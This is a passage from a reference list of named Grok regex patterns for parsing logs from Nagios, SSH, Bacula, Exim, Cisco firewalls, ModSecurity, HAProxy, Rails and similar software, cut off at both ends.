+(<=|[-=>*]>|[*]{2}|==) +``` + +## NAGIOS_TYPE_SERVICE_DOWNTIME_ALERT + +Pattern : +``` +SERVICE DOWNTIME ALERT +``` + +## SSHD_CORRUPT_MAC + +Pattern : +``` +Corrupted MAC on input +``` + +## NAGIOS_EC_SCHEDULE_HOST_DOWNTIME + +Pattern : +``` +SCHEDULE_HOST_DOWNTIME +``` + +## PATH + +Pattern : +``` +%{UNIXPATH}|%{WINPATH} +``` + +## EXIM_SUBJECT + +Pattern : +``` +(T=%{QS:exim_subject}) +``` + +## NAGIOS_TYPE_SERVICE_FLAPPING_ALERT + +Pattern : +``` +SERVICE FLAPPING ALERT +``` + +## BACULA_LOG_NOPRUNE_JOBS + +Pattern : +``` +No Jobs found to prune. +``` + +## HTTPDUSER + +Pattern : +``` +%{EMAILADDRESS}|%{USER} +``` + +## BACULA_CAPACITY + +Pattern : +``` +%{INT}{1,3}(,%{INT}{3})* +``` + +## EXIM_PROTOCOL + +Pattern : +``` +(P=%{NOTSPACE:protocol}) +``` + +## NAGIOS_EC_ENABLE_SVC_NOTIFICATIONS + +Pattern : +``` +ENABLE_SVC_NOTIFICATIONS +``` + +## URIPROTO + +Pattern : +``` +[A-Za-z]+(\+[A-Za-z+]+)? +``` + +## BACULA_LOG_NOPRUNE_FILES + +Pattern : +``` +No Files found to prune. +``` + +## NAGIOS_EC_SCHEDULE_SERVICE_DOWNTIME + +Pattern : +``` +SCHEDULE_SERVICE_DOWNTIME +``` + +## MONGO_QUERY + +Pattern : +``` +\{ \{ .* \} ntoreturn: \} +``` + +## PROG + +Pattern : +``` +[\x21-\x5a\x5c\x5e-\x7e]+ +``` + +## NAGIOS_EC_DISABLE_SVC_NOTIFICATIONS + +Pattern : +``` +DISABLE_SVC_NOTIFICATIONS +``` + +## NAGIOS_EC_PROCESS_HOST_CHECK_RESULT + +Pattern : +``` +PROCESS_HOST_CHECK_RESULT +``` + +## BACULA_LOG_VSS + +Pattern : +``` +(Generate )?VSS (Writer)? +``` + +## NAGIOS_EC_ENABLE_HOST_NOTIFICATIONS + +Pattern : +``` +ENABLE_HOST_NOTIFICATIONS +``` + +## UNIXPATH + +Pattern : +``` +(/([\w_%!$@:.,~-]+|\\.)*)+ +``` + +## EMAILLOCALPART + +Pattern : +``` +[a-zA-Z0-9_.+-=:]+ +``` + +## URIPATHPARAM + +Pattern : +``` +%{URIPATH}(?:%{URIPARAM})? +``` + +## KITCHEN + +Pattern : +``` +\d{1,2}:\d{2}(AM|PM|am|pm) +``` + +## NAGIOS_EC_DISABLE_HOST_NOTIFICATIONS + +Pattern : +``` +DISABLE_HOST_NOTIFICATIONS +``` + +## NAGIOSTIME + +Pattern : +``` +\[%{NUMBER:nagios_epoch}\] +``` + +## RUBY_LOGLEVEL + +Pattern : +``` +DEBUG|FATAL|ERROR|WARN|INFO +``` + +## TIME + +Pattern : +``` +%{HOUR}:%{MINUTE}:%{SECOND} +``` + +## JAVATHREAD + +Pattern : +``` +(?:[A-Z]{2}-Processor[\d]+) +``` + +## EXIM_MSG_SIZE + +Pattern : +``` +(S=%{NUMBER:exim_msg_size}) +``` + +## REDISTIMESTAMP + +Pattern : +``` +%{MONTHDAY} %{MONTH} %{TIME} +``` + +## NAGIOS_EC_PROCESS_SERVICE_CHECK_RESULT + +Pattern : +``` +PROCESS_SERVICE_CHECK_RESULT +``` + +## BASE16NUM + +Pattern : +``` +[+-]?(?:0x)?(?:[0-9A-Fa-f]+) +``` + +## ISO8601_TIMEZONE + +Pattern : +``` +Z|[+-]%{HOUR}(?::?%{MINUTE}) +``` + +## MODSECRULEID + +Pattern : +``` +\[id %{QUOTEDSTRING:ruleid}\] +``` + +## SYSLOGTIMESTAMP + +Pattern : +``` +%{MONTH} +%{MONTHDAY} %{TIME} +``` + +## SSHD_PACKET_CORRUPT + +Pattern : +``` +Disconnecting: Packet corrupt +``` + +## SYSLOG5424PRI + +Pattern : +``` +<%{NONNEGINT:syslog5424_pri}> +``` + +## EMAILADDRESS + +Pattern : +``` +%{EMAILLOCALPART}@%{HOSTNAME} +``` + +## NAGIOS_EC_ENABLE_HOST_SVC_NOTIFICATIONS + +Pattern : +``` +ENABLE_HOST_SVC_NOTIFICATIONS +``` + +## NAGIOS_EC_DISABLE_HOST_SVC_NOTIFICATIONS + +Pattern : +``` +DISABLE_HOST_SVC_NOTIFICATIONS +``` + +## URIHOST + +Pattern : +``` +%{IPORHOST}(?::%{POSINT:port})? +``` + +## EXIM_HEADER_ID + +Pattern : +``` +(id=%{NOTSPACE:exim_header_id}) +``` + +## SSHD_TUNN_TIMEOUT + +Pattern : +``` +Timeout, client not responding. +``` + +## MODSECRULEREV + +Pattern : +``` +\[rev %{QUOTEDSTRING:rulerev}\] +``` + +## MCOLLECTIVEAUDIT + +Pattern : +``` +%{TIMESTAMP_ISO8601:timestamp}: +``` + +## DATE + +Pattern : +``` +%{DATE_US}|%{DATE_EU}|%{DATE_X} +``` + +## CISCOTAG + +Pattern : +``` +[A-Z0-9]+-%{INT}-(?:[A-Z0-9_]+) +``` + +## WINPATH + +Pattern : +``` +(?:[A-Za-z]+:|\\)(?:\\[^\\?*]*)+ +``` + +## DATE_X + +Pattern : +``` +%{YEAR}/%{MONTHNUM2}/%{MONTHDAY} +``` + +## SSHD_INIT + +Pattern : +``` +%{SSHD_LISTEN}|%{SSHD_TERMINATE} +``` + +## HAPROXYCAPTUREDREQUESTHEADERS + +Pattern : +``` +%{DATA:captured_request_headers} +``` + +## CISCO_INTERVAL + +Pattern : +``` +first hit|%{INT}-second interval +``` + +## MODSECRULEFILE + +Pattern : +``` +\[file %{QUOTEDSTRING:rulefile}\] +``` + +## MODSECURI + +Pattern : +``` +\[uri ["']%{DATA:targeturi}["']\] +``` + +## HAPROXYCAPTUREDRESPONSEHEADERS + +Pattern : +``` +%{DATA:captured_response_headers} +``` + +## MODSECRULELINE + +Pattern : +``` +\[line %{QUOTEDSTRING:ruleline}\] +``` + +## MODSECRULEDATA + +Pattern : +``` +\[data %{QUOTEDSTRING:ruledata}\] +``` + +## CISCO_DIRECTION + +Pattern : +``` +Inbound|inbound|Outbound|outbound +``` + +## BACULA_LOG_CANCELLING + +Pattern : +``` +Cancelling duplicate JobId=%{INT}. +``` + +## SECOND + +Pattern : +``` +(?:[0-5]?[0-9]|60)(?:[:.,][0-9]+)? +``` + +## MODSECRULEMSG + +Pattern : +``` +\[msg %{QUOTEDSTRING:rulemessage}\] +``` + +## SSHD_TUNN_ERR3 + +Pattern : +``` +error: bind: Address already in use +``` + +## BACULA_LOG_STARTRESTORE + +Pattern : +``` +Start Restore Job %{BACULA_JOB:job} +``` + +## SYSLOGLINE + +Pattern : +``` +%{SYSLOGBASE2} %{GREEDYDATA:message} +``` + +## COMMONMAC + +Pattern : +``` +(?:[A-Fa-f0-9]{2}:){5}[A-Fa-f0-9]{2} +``` + +## WINDOWSMAC + +Pattern : +``` +(?:[A-Fa-f0-9]{2}-){5}[A-Fa-f0-9]{2} +``` + +## SYSLOGPROG + +Pattern : +``` +%{PROG:program}(?:\[%{POSINT:pid}\])? +``` + +## JAVAMETHOD + +Pattern : +``` +(?:()|[a-zA-Z$_][a-zA-Z$_0-9]*) +``` + +## DATE_US + +Pattern : +``` +%{MONTHNUM}[/-]%{MONTHDAY}[/-]%{YEAR} +``` + +## CISCOMAC + +Pattern : +``` +(?:[A-Fa-f0-9]{4}\.){2}[A-Fa-f0-9]{4} +``` + +## ELB_URIPATHPARAM + +Pattern : +``` +%{URIPATH:path}(?:%{URIPARAM:params})? +``` + +## MAC + +Pattern : +``` +%{CISCOMAC}|%{WINDOWSMAC}|%{COMMONMAC} +``` + +## MODSECUID + +Pattern : +``` +\[unique_id %{QUOTEDSTRING:uniqueid}\] +``` + +## BACULA_LOG_NOPRIOR + +Pattern : +``` +No prior Full backup Job record found. +``` + +## BACULA_TIMESTAMP + +Pattern : +``` +%{MONTHDAY}-%{MONTH} %{HOUR}:%{MINUTE} +``` + +## MODSECMATCHOFFSET + +Pattern : +``` +\[offset %{QUOTEDSTRING:matchoffset}\] +``` + +## DATE_EU + +Pattern : +``` +%{MONTHDAY}[./-]%{MONTHNUM}[./-]%{YEAR} +``` + +## MODSECHOSTNAME + +Pattern : +``` +\[hostname ['"]%{DATA:targethost}["']\] +``` + +## URIPATH + +Pattern : +``` +(?:/[A-Za-z0-9$.+!*'(){},~:;=@#%_\-]*)+ +``` + +## TTY + +Pattern : +``` +/dev/(pts|tty([pq])?)(\w+)?/?(?:[0-9]+) +``` + +## HTTPD_ERRORLOG + +Pattern : +``` +%{HTTPD20_ERRORLOG}|%{HTTPD24_ERRORLOG} +``` + +## MONTHDAY + +Pattern : +``` +(?:0[1-9])|(?:[12][0-9])|(?:3[01])|[1-9] +``` + +## BACULA_LOG_USEDEVICE + +Pattern : +``` +Using Device \"%{BACULA_DEVICE:device}\" +``` + +## MODSECRULESEVERITY + +Pattern : +``` +\[severity ["']%{WORD:ruleseverity}["']\] +``` + +## ANSIC + +Pattern : +``` +%{DAY} %{MONTH} [_123]\d %{TIME} %{YEAR}" +``` + +## RFC822Z + +Pattern : +``` +[0-3]\d %{MONTH} %{YEAR} %{TIME} %{NUMTZ} +``` + +## SSHD_CONN_CLOSE + +Pattern : +``` +Connection closed by %{IP:sshd_client_ip}$ +``` + +## CISCOTIMESTAMP + +Pattern : +``` +%{MONTH} +%{MONTHDAY}(?: %{YEAR})? %{TIME} +``` + +## GENERICAPACHEERROR + +Pattern : +``` +%{APACHEERRORPREFIX} %{GREEDYDATA:message} +``` + +## CISCOFW104004 + +Pattern : +``` +\((?:Primary|Secondary)\) Switching to OK\. +``` + +## APACHEERRORTIME + +Pattern : +``` +%{DAY} %{MONTH} %{MONTHDAY} %{TIME} %{YEAR} +``` + +## HTTPDERROR_DATE + +Pattern : +``` +%{DAY} %{MONTH} %{MONTHDAY} %{TIME} %{YEAR} +``` + +## HTTPDATE + +Pattern : +``` +%{MONTHDAY}/%{MONTH}/%{YEAR}:%{TIME} %{INT} +``` + +## EXIM_MSGID + +Pattern : +``` +[0-9A-Za-z]{6}-[0-9A-Za-z]{6}-[0-9A-Za-z]{2} +``` + +## NAGIOS_WARNING + +Pattern : +``` +Warning:%{SPACE}%{GREEDYDATA:nagios_message} +``` + +## BACULA_LOG_NOJOBSTAT + +Pattern : +``` +Fatal error: No Job status returned from FD. +``` + +## EXIM_QT + +Pattern : +``` +((\d+y)?(\d+w)?(\d+d)?(\d+h)?(\d+m)?(\d+s)?) +``` + +## REDISLOG + +Pattern : +``` +\[%{POSINT:pid}\] %{REDISTIMESTAMP:time} \*\s +``` + +## BASE10NUM + +Pattern : +``` +[+-]?(?:(?:[0-9]+(?:\.[0-9]+)?)|(?:\.[0-9]+)) +``` + +## SYSLOGFACILITY + +Pattern : +``` +<%{NONNEGINT:facility}.%{NONNEGINT:priority}> +``` + +## COMBINEDAPACHELOG + +Pattern : +``` +%{COMMONAPACHELOG} %{QS:referrer} %{QS:agent} +``` + +## URIPARAM + +Pattern : +``` +\?[A-Za-z0-9$.+!*'|(){},~@#%&/=:;_?\-\[\]<>]* +``` + +## RFC850 + +Pattern : +``` +%{DAY}, [0-3]\d-%{MONTH}-%{YEAR} %{TIME} %{TZ} +``` + +## RFC1123 + +Pattern : +``` +%{DAY}, [0-3]\d %{MONTH} %{YEAR} %{TIME} %{TZ} +``` + +## UNIXDATE + +Pattern : +``` +%{DAY} %{MONTH} [_123]\d %{TIME} %{TZ} %{YEAR} +``` + +## CISCOFW104003 + +Pattern : +``` +\((?:Primary|Secondary)\) Switching to FAILED\. +``` + +## SYSLOG5424LINE + +Pattern : +``` +%{SYSLOG5424BASE} +%{GREEDYDATA:syslog5424_msg} +``` + +## BACULA_LOG_STARTJOB + +Pattern : +``` +Start Backup JobId %{INT}, Job=%{BACULA_JOB:job} +``` + +## RUBYDATE + +Pattern : +``` +%{DAY} %{MONTH} [0-3]\d %{TIME} %{NUMTZ} %{YEAR} +``` + +## BACULA_LOG_NOOPEN + +Pattern : +``` +\s+Cannot open %{DATA}: ERR=%{GREEDYDATA:berror} +``` + +## RFC1123Z + +Pattern : +``` +%{DAY}, [0-3]\d %{MONTH} %{YEAR} %{TIME} %{NUMTZ} +``` + +## DATESTAMP_RFC822 + +Pattern : +``` +%{DAY} %{MONTH} %{MONTHDAY} %{YEAR} %{TIME} %{TZ} +``` + +## DATESTAMP_OTHER + +Pattern : +``` +%{DAY} %{MONTH} %{MONTHDAY} %{TIME} %{TZ} %{YEAR} +``` + +## RFC3339 + +Pattern : +``` +%{YEAR}-[01]\d-[0-3]\dT%{TIME}%{ISO8601_TIMEZONE} +``` + +## SSHD_TERMINATE + +Pattern : +``` +Received signal %{NUMBER:sshd_signal}; terminating. +``` + +## BACULA_LOG_NOSTAT + +Pattern : +``` +\s+Could not stat %{DATA}: ERR=%{GREEDYDATA:berror} +``` + +## UUID + +Pattern : +``` +[A-Fa-f0-9]{8}-(?:[A-Fa-f0-9]{4}-){3}[A-Fa-f0-9]{12} +``` + +## SSHD_LOGOUT_ERR + +Pattern : +``` +syslogin_perform_logout: logout\(\) returned an error +``` + +## RCONTROLLER + +Pattern : +``` +%{RAILS_CONSTROLLER:controller}#%{RAIL_ACTION:action} +``` + +## DATESTAMP_EVENTLOG + +Pattern : +``` +%{YEAR}%{MONTHNUM2}%{MONTHDAY}%{HOUR}%{MINUTE}%{SECOND} +``` + +## JAVACLASS + +Pattern : +``` +(?:[a-zA-Z$_][a-zA-Z$_0-9]*\.)*[a-zA-Z$_][a-zA-Z$_0-9]* +``` + +## RFC3339NANO + +Pattern : +``` +%{YEAR}-[01]\d-[0-3]\dT%{TIME}\.\d{9}%{ISO8601_TIMEZONE} +``` + +## NGINXERRTIME + +Pattern : +``` +%{YEAR}/%{MONTHNUM2}/%{DAY2} %{HOUR}:%{MINUTE}:%{SECOND} +``` + +## BACULA_LOG_BEGIN_PRUNE_JOBS + +Pattern : +``` +Begin pruning Jobs older than %{INT} month %{INT} days . +``` + +## BACULA_LOG_NEW_VOLUME + +Pattern : +``` +Created new Volume \"%{BACULA_VOLUME:volume}\" in catalog. +``` + +## BACULA_LOG_MARKCANCEL + +Pattern : +``` +JobId %{INT}, Job %{BACULA_JOB:job} marked to be canceled. +``` + +## SSHD_TCPWRAP_FAIL5 + +Pattern : +``` +warning: can't get client address: Connection reset by peer +``` + +## EXIM_INTERFACE + +Pattern : +``` +(I=\[%{IP:exim_interface}\](:%{NUMBER:exim_interface_port})) +``` + +## BACULA_LOG_NOOPENDIR + +Pattern : +``` +\s+Could not open directory %{DATA}: ERR=%{GREEDYDATA:berror} +``` + +## BACULA_LOG_CLIENT_RBJ + +Pattern : +``` +shell command: run ClientRunBeforeJob \"%{GREEDYDATA:runjob}\" +``` + +## SSHD_IDENT_FAIL + +Pattern : +``` +Did not receive identification string from %{IP:sshd_client_ip} +``` + +## BACULA_LOG_MAXSTART + +Pattern : +``` +Fatal error: Job canceled because max start delay time exceeded. +``` + +## DATESTAMP_RFC2822 + +Pattern : +``` +%{DAY}, %{MONTHDAY} %{MONTH} %{YEAR} %{TIME} %{ISO8601_TIMEZONE} +``` + +## REDISLOG2 + +Pattern : +``` +%{POSINT:pid}:M %{REDISTIMESTAMP:time} [*#] %{GREEDYDATA:message} +``` + +## QUOTEDSTRING + +Pattern : +``` +("(\\.|[^\\"]+)+")|""|('(\\.|[^\\']+)+')|''|(`(\\.|[^\\`]+)+`)|`` +``` + +## BACULA_LOG_PRUNED_JOBS + +Pattern : +``` +Pruned %{INT} Jobs* for client %{BACULA_HOST:client} from catalog. +``` + +## RT_FLOW_EVENT + +Pattern : +``` +(RT_FLOW_SESSION_CREATE|RT_FLOW_SESSION_CLOSE|RT_FLOW_SESSION_DENY) +``` + +## CISCOFW302010 + +Pattern : +``` +%{INT:connection_count} in use, %{INT:connection_count_max} most used +``` + +## BACULA_LOG_NOSUIT + +Pattern : +``` +No prior or suitable Full backup found in catalog. Doing FULL backup. +``` + +## SSHD_SESSION_CLOSE + +Pattern : +``` +pam_unix\(sshd:session\): session closed for user %{USERNAME:sshd_user} +``` + +## SSHD_INVAL_USER + +Pattern : +``` +Invalid user\s*%{USERNAME:sshd_invalid_user}? from %{IP:sshd_client_ip} +``` + +## MONGO_LOG + +Pattern : +``` +%{SYSLOGTIMESTAMP:timestamp} \[%{WORD:component}\] %{GREEDYDATA:message} +``` + +## BACULA_LOG_JOB + +Pattern : +``` +(Error: )?Bacula %{BACULA_HOST} %{BACULA_VERSION} \(%{BACULA_VERSION}\): +``` + +## BACULA_LOG_READYAPPEND + +Pattern : +``` +Ready to append to end of Volume \"%{BACULA_VOLUME:volume}\" size=%{INT} +``` + +## CRONLOG + +Pattern : +``` +%{SYSLOGBASE} \(%{USER:user}\) %{CRON_ACTION:action} \(%{DATA:message}\) +``` + +## URI + +Pattern : +``` +%{URIPROTO}://(?:%{USER}(?::[^@]*)?@)?(?:%{URIHOST})?(?:%{URIPATHPARAM})? +``` + +## SSHD_LISTEN + +Pattern : +``` +Server listening on %{IP:sshd_listen_ip} port %{NUMBER:sshd_listen_port}. +``` + +## HAPROXYTIME + +Pattern : +``` +%{HOUR:haproxy_hour}:%{MINUTE:haproxy_minute}(?::%{SECOND:haproxy_second}) +``` + +## RAILS3 + +Pattern : +``` +%{RAILS3HEAD}(?:%{RPROCESSING})?%{RAILS_CONTEXT:context}(?:%{RAILS3FOOT})? +``` + +## BASE16FLOAT + +Pattern : +``` +\b[+-]?(?:0x)?(?:(?:[0-9A-Fa-f]+(?:\.[0-9A-Fa-f]*)?)|(?:\.[0-9A-Fa-f]+))\b +``` + +## CISCOFW104001 + +Pattern : +``` +\((?:Primary|Secondary)\) Switching to ACTIVE - %{GREEDYDATA:switch_reason} +``` + +## HOSTNAME + +Pattern : +``` +\b[0-9A-Za-z][0-9A-Za-z-]{0,62}(?:\.[0-9A-Za-z][0-9A-Za-z-]{0,62})*(\.?|\b) +``` + +## CISCOFW105008 + +Pattern : +``` +\((?:Primary|Secondary)\) Testing [Ii]nterface %{GREEDYDATA:interface_name} +``` + +## CATALINA_DATESTAMP + +Pattern : +``` +%{MONTH} %{MONTHDAY}, 20%{YEAR} %{HOUR}:?%{MINUTE}(?::?%{SECOND}) (?:AM|PM) +``` + +## CISCOFW104002 + +Pattern : +``` +\((?:Primary|Secondary)\) Switching to STANDBY - %{GREEDYDATA:switch_reason} +``` + +## BACULA_LOG_VOLUME_PREVWRITTEN + +Pattern : +``` +Volume \"%{BACULA_VOLUME:volume}\" previously written, moving to end of data. +``` + +## BACULA_LOG_PRUNED_FILES + +Pattern : +``` +Pruned Files from %{INT} Jobs* for client %{BACULA_HOST:client} from catalog. +``` + +## SSHD_BAD_VERSION + +Pattern : +``` +Bad protocol version identification '%{GREEDYDATA}' from %{IP:sshd_client_ip} +``` + +## SSHD_BADL_PREAUTH + +Pattern : +``` +Bad packet length %{NUMBER:sshd_packet_length}. \[%{GREEDYDATA:sshd_privsep}\] +``` + +## EXIM_DATE + +Pattern : +``` +%{YEAR:exim_year}-%{MONTHNUM:exim_month}-%{MONTHDAY:exim_day} %{TIME:exim_time} +``` + +## BACULA_LOG_DUPLICATE + +Pattern : +``` +Fatal error: JobId %{INT:duplicate} already running. Duplicate job not allowed. +``` + +## RAILS_TIMESTAMP + +Pattern : +``` +%{YEAR}-%{MONTHNUM}-%{MONTHDAY} %{HOUR}:%{MINUTE}:%{SECOND} %{ISO8601_TIMEZONE} +``` + +## SSHD_TUNN_ERR1 + +Pattern : +``` +error: connect_to %{IP:sshd_listen_ip} port %{NUMBER:sshd_listen_port}: failed. +``` + +## CATALINALOG + +Pattern : +``` +%{CATALINA_DATESTAMP:timestamp} %{JAVACLASS:class} %{JAVALOGMESSAGE:logmessage} +``` + +## SSHD_REFUSE_CONN + +Pattern : +``` +refused connect from %{DATA:sshd_client_hostname} \(%{IPORHOST:sshd_client_ip}\) +``` + +## BACULA_LOG_ALL_RECORDS_PRUNED + +Pattern : +``` +All records pruned from Volume \"%{BACULA_VOLUME:volume}\"; marking it \"Purged\" +``` + +## SSHD_TOOMANY_AUTH + +Pattern : +``` +Disconnecting: Too many authentication failures for %{USERNAME:sshd_invalid_user} +``` + +## SSHD_DISR_PREAUTH + +Pattern : +``` +Disconnecting: %{GREEDYDATA:sshd_disconnect_status} \[%{GREEDYDATA:sshd_privsep}\] +``` + +## MCOLLECTIVE + +Pattern : +``` +., \[%{TIMESTAMP_ISO8601:timestamp} #%{POSINT:pid}\]%{SPACE}%{LOGLEVEL:event_level} +``` + +## SSHD_TUNN_ERR2 + +Pattern : +``` +error: channel_setup_fwd_listener: cannot listen to port: %{NUMBER:sshd_listen_port} +``` + +## BACULA_LOG_DIFF_FS + +Pattern : +``` +\s+%{UNIXPATH} is a different filesystem. Will not descend from %{UNIXPATH} into it. +``` + +## BACULA_LOG_NO_AUTH + +Pattern : +``` +Fatal error: Unable to authenticate with File daemon at %{HOSTNAME}. Possible causes: +``` + +## CISCOFW321001 + +Pattern : +``` +Resource '%{WORD:resource_name}' limit of %{POSINT:resource_limit} reached for system +``` + +## ELB_REQUEST_LINE + +Pattern : +``` +(?:%{WORD:verb} %{ELB_URI:request}(?: HTTP/%{NUMBER:httpversion})?|%{DATA:rawrequest}) +``` + +## POSTGRESQL + +Pattern : +``` +%{DATESTAMP:timestamp} %{TZ} %{DATA:user_id} %{GREEDYDATA:connection_id} %{POSINT:pid} +``` + +## SSHD_SESSION_OPEN + +Pattern : +``` +pam_unix\(sshd:session\): session opened for user %{USERNAME:sshd_user} by \(uid=\d+\) +``` + +## S3_REQUEST_LINE + +Pattern : +``` +(?:%{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER:httpversion})?|%{DATA:rawrequest}) +``` + +## TOMCAT_DATESTAMP + +Pattern : +``` +20%{YEAR}-%{MONTHNUM}-%{MONTHDAY} %{HOUR}:?%{MINUTE}(?::?%{SECOND}) %{ISO8601_TIMEZONE} +``` + +## CISCOFW105004 + +Pattern : +``` +\((?:Primary|Secondary)\) Monitoring on [Ii]nterface %{GREEDYDATA:interface_name} normal +``` + +## RAILS3FOOT + +Pattern : +``` +Completed %{NUMBER:response}%{DATA} in %{NUMBER:totalms}ms %{RAILS3PROFILE}%{GREEDYDATA} +``` + +## CISCOFW105003 + +Pattern : +``` +\((?:Primary|Secondary)\) Monitoring on [Ii]nterface %{GREEDYDATA:interface_name} waiting +``` + +## TIMESTAMP_ISO8601 + +Pattern : +``` +%{YEAR}-%{MONTHNUM}-%{MONTHDAY}[T ]%{HOUR}:?%{MINUTE}(?::?%{SECOND})?%{ISO8601_TIMEZONE}? +``` + +## BACULA_LOG_JOBEND + +Pattern : +``` +Job write elapsed time = %{DATA:elapsed}, Transfer rate = %{NUMBER} (K|M|G)? Bytes/second +``` + +## SYSLOGBASE + +Pattern : +``` +%{SYSLOGTIMESTAMP:timestamp} (?:%{SYSLOGFACILITY} )?%{SYSLOGHOST:logsource} %{SYSLOGPROG}: +``` + +## SSHD_TUNN_ERR4 + +Pattern : +``` +error: channel_setup_fwd_listener_tcpip: cannot listen to port: %{NUMBER:sshd_listen_port} +``` + +## MODSECPREFIX + +Pattern : +``` +%{APACHEERRORPREFIX} ModSecurity: %{NOTSPACE:modsecseverity}\. %{GREEDYDATA:modsecmessage} +``` + +## DAY + +Pattern : +``` +Mon(?:day)?|Tue(?:sday)?|Wed(?:nesday)?|Thu(?:rsday)?|Fri(?:day)?|Sat(?:urday)?|Sun(?:day)? +``` + +## JAVASTACKTRACEPART + +Pattern : +``` +%{SPACE}at %{JAVACLASS:class}\.%{JAVAMETHOD:method}\(%{JAVAFILE:file}(?::%{NUMBER:line})?\) +``` + +## ELB_URI + +Pattern : +``` +%{URIPROTO:proto}://(?:%{USER}(?::[^@]*)?@)?(?:%{URIHOST:urihost})?(?:%{ELB_URIPATHPARAM})? +``` + +## EXIM_REMOTE_HOST + +Pattern : +``` +(H=(%{NOTSPACE:remote_hostname} )?(\(%{NOTSPACE:remote_heloname}\) )?\[%{IP:remote_host}\]) +``` + +## SSHD_SESSION_FAIL + +Pattern : +``` +pam_systemd\(sshd:session\): Failed to release session: %{GREEDYDATA:sshd_disconnect_status} +``` + +## SSHD_TUNN + +Pattern : +``` +%{SSHD_TUNN_ERR1}|%{SSHD_TUNN_ERR2}|%{SSHD_TUNN_ERR3}|%{SSHD_TUNN_ERR4}|%{SSHD_TUNN_TIMEOUT} +``` + +## BACULA_LOG_NOJOBS + +Pattern : +``` +There are no more Jobs associated with Volume \"%{BACULA_VOLUME:volume}\". Marking it purged. +``` + +## RPROCESSING + +Pattern : +``` +\W*Processing by %{RCONTROLLER} as %{NOTSPACE:format}(?:\W*Parameters: \{\%\{DATA:params}}\W*)? +``` + +## CISCOFW105009 + +Pattern : +``` +\((?:Primary|Secondary)\) Testing on [Ii]nterface %{GREEDYDATA:interface_name} (?:Passed|Failed) +``` + +## SSHD_LOG + +Pattern : +``` +%{SSHD_INIT}|%{SSHD_NORMAL_LOG}|%{SSHD_PROBE_LOG}|%{SSHD_CORRUPTED}|%{SSHD_TUNN}|%{SSHD_PREAUTH} +``` + +## SSHD_DISC_PREAUTH + +Pattern : +``` +Disconnected from %{IP:sshd_client_ip} port %{NUMBER:sshd_port}\s*(?:\[%{GREEDYDATA:sshd_privsep}\]|) +``` + +## TOMCATLOG + +Pattern : +``` +%{TOMCAT_DATESTAMP:timestamp} \| %{LOGLEVEL:level} \| %{JAVACLASS:class} - %{JAVALOGMESSAGE:logmessage} +``` + +## SSHD_REST_PREAUTH + +Pattern : +``` +Connection reset by %{IP:sshd_client_ip} port %{NUMBER:sshd_port}\s*(?:\[%{GREEDYDATA:sshd_privsep}\]|) +``` + +## SSHD_CLOS_PREAUTH + +Pattern : +``` +Connection closed by %{IP:sshd_client_ip} port %{NUMBER:sshd_port}\s*(?:\[%{GREEDYDATA:sshd_privsep}\]|) +``` + +## CISCO_TAGGED_SYSLOG + +Pattern : +``` +^<%{POSINT:syslog_pri}>%{CISCOTIMESTAMP:timestamp}( %{SYSLOGHOST:sysloghost})? ?: %%{CISCOTAG:ciscotag}: +``` + +## SSHD_INVA_PREAUTH + +Pattern : +``` +input_userauth_request: invalid user %{USERNAME:sshd_invalid_user}?\s*(?:\[%{GREEDYDATA:sshd_privsep}\]|) +``` + +## RAILS3HEAD + +Pattern : +``` +(?m)Started %{WORD:verb} "%{URIPATHPARAM:request}" for %{IPORHOST:clientip} at %{RAILS_TIMESTAMP:timestamp} +``` + +## CISCOFW105005 + +Pattern : +``` +\((?:Primary|Secondary)\) Lost Failover communications with mate on [Ii]nterface %{GREEDYDATA:interface_name} +``` + +## BACULA_LOG_NEW_LABEL + +Pattern : +``` +Labeled new Volume \"%{BACULA_VOLUME:volume}\" on device \"%{BACULA_DEVICE:device}\" \(%{BACULA_DEVICEPATH}\). +``` + +## CISCO_ACTION + +Pattern : +``` +Built|Teardown|Deny|Denied|denied|requested|permitted|denied by ACL|discarded|est-allowed|Dropping|created|deleted +``` + +## NAGIOS_EC_LINE_ENABLE_HOST_CHECK + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_ENABLE_HOST_CHECK:nagios_command};%{DATA:nagios_hostname} +``` + +## COWRIE_NEW_CO + +Pattern : +``` +New connection: %{IPV4:source_ip}:[0-9]+ \(%{IPV4:dest_ip}:%{INT:dest_port}\) \[session: %{DATA:telnet_session}\]$ +``` + +## NAGIOS_EC_LINE_DISABLE_HOST_CHECK + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_DISABLE_HOST_CHECK:nagios_command};%{DATA:nagios_hostname} +``` + +## CISCOFW402117 + +Pattern : +``` +%{WORD:protocol}: Received a non-IPSec packet \(protocol= %{WORD:orig_protocol}\) from %{IP:src_ip} to %{IP:dst_ip} +``` + +## BACULA_LOG_WROTE_LABEL + +Pattern : +``` +Wrote label to prelabeled Volume \"%{BACULA_VOLUME:volume}\" on device \"%{BACULA_DEVICE}\" \(%{BACULA_DEVICEPATH}\) +``` + +## CISCOFW500004 + +Pattern : +``` +%{CISCO_REASON:reason} for protocol=%{WORD:protocol}, from %{IP:src_ip}/%{INT:src_port} to %{IP:dst_ip}/%{INT:dst_port} +``` + +## RAILS3PROFILE + +Pattern : +``` +(?:\(Views: %{NUMBER:viewms}ms \| ActiveRecord: %{NUMBER:activerecordms}ms|\(ActiveRecord: %{NUMBER:activerecordms}ms)? +``` + +## NAGIOS_PASSIVE_HOST_CHECK + +Pattern : +``` +%{NAGIOS_TYPE_PASSIVE_HOST_CHECK:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_state};%{GREEDYDATA:nagios_comment} +``` + +## NAGIOS_TIMEPERIOD_TRANSITION + +Pattern : +``` +%{NAGIOS_TYPE_TIMEPERIOD_TRANSITION:nagios_type}: %{DATA:nagios_service};%{DATA:nagios_unknown1};%{DATA:nagios_unknown2} +``` + +## NAGIOS_HOST_DOWNTIME_ALERT + +Pattern : +``` +%{NAGIOS_TYPE_HOST_DOWNTIME_ALERT:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_state};%{GREEDYDATA:nagios_comment} +``` + +## HTTPD20_ERRORLOG + +Pattern : +``` +\[%{HTTPDERROR_DATE:timestamp}\] \[%{LOGLEVEL:loglevel}\] (?:\[client %{IPORHOST:clientip}\] ){0,1}%{GREEDYDATA:errormsg} +``` + +## NAGIOS_HOST_FLAPPING_ALERT + +Pattern : +``` +%{NAGIOS_TYPE_HOST_FLAPPING_ALERT:nagios_type}: 